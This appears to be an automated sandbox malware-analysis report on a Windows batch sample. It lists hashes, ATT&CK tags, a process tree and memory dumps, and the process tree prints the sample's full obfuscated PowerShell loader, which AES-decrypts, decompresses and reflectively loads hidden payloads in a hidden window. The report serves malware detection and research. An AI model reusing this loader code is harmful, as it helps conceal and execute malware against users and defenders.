c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 18:36

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General

Target

sample.cmd
Size

111KB
MD5

934330a37a7b1380047366d135ff1423
SHA1

1cadd58c7e7475277d23b924b3dac8aad567bf44
SHA256

c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c
SHA512

844b523cb12393b97a9807fd4b5bd9b811a7482a4d9865a0b3c7ccdce889222671f86bd87cc8a0ec25abefe62d8e33a871434114847fea58bf8bc73bc411362a
SSDEEP

3072:/HPsUJ1lTMxqWITymQ57Leimw/gU0x1DzfsxciNpU3:XTWITymEeiWUxFy

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1744 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1744 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1744 powershell.exe

pid	process
1744	powershell.exe

pid	process
1744	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 352 wrote to memory of 1780	352	cmd.exe	cmd.exe
PID 352 wrote to memory of 1780	352	cmd.exe	cmd.exe
PID 352 wrote to memory of 1780	352	cmd.exe	cmd.exe
PID 352 wrote to memory of 1724	352	cmd.exe	cmd.exe
PID 352 wrote to memory of 1724	352	cmd.exe	cmd.exe
PID 352 wrote to memory of 1724	352	cmd.exe	cmd.exe
PID 352 wrote to memory of 1744	352	cmd.exe	powershell.exe
PID 352 wrote to memory of 1744	352	cmd.exe	powershell.exe
PID 352 wrote to memory of 1744	352	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sample.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:352
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:1780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqGtFYajP4dvsKIWnOQi409E1v8ult6DFNGJrf47kZE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x2DBEVvQmBOCho9gd+n1bw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oKEyn=New-Object System.IO.MemoryStream(,$param_var); $ZXvXs=New-Object System.IO.MemoryStream; $rdMmY=New-Object System.IO.Compression.GZipStream($oKEyn, [IO.Compression.CompressionMode]::Decompress); $rdMmY.CopyTo($ZXvXs); $rdMmY.Dispose(); $oKEyn.Dispose(); $ZXvXs.Dispose(); $ZXvXs.ToArray();}function execute_function($param_var,$param2_var){ $pUJev=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oJbpm=$pUJev.EntryPoint; $oJbpm.Invoke($null, $param2_var);}$XSGCc = 'C:\Users\Admin\AppData\Local\Temp\sample.cmd';$host.UI.RawUI.WindowTitle = $XSGCc;$WmqwT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSGCc).Split([Environment]::NewLine);foreach ($VEuit in $WmqwT) { if ($VEuit.StartsWith('kJooVBlfXESpuyhzrHrv')) { $iEGsi=$VEuit.Substring(20); break; }}$payloads_var=[string[]]$iEGsi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1744-4-0x000007FEF556E000-0x000007FEF556F000-memory.dmp

Filesize
4KB

Download
memory/1744-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/1744-6-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/1744-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1744-9-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1744-8-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1744-10-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1744-11-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download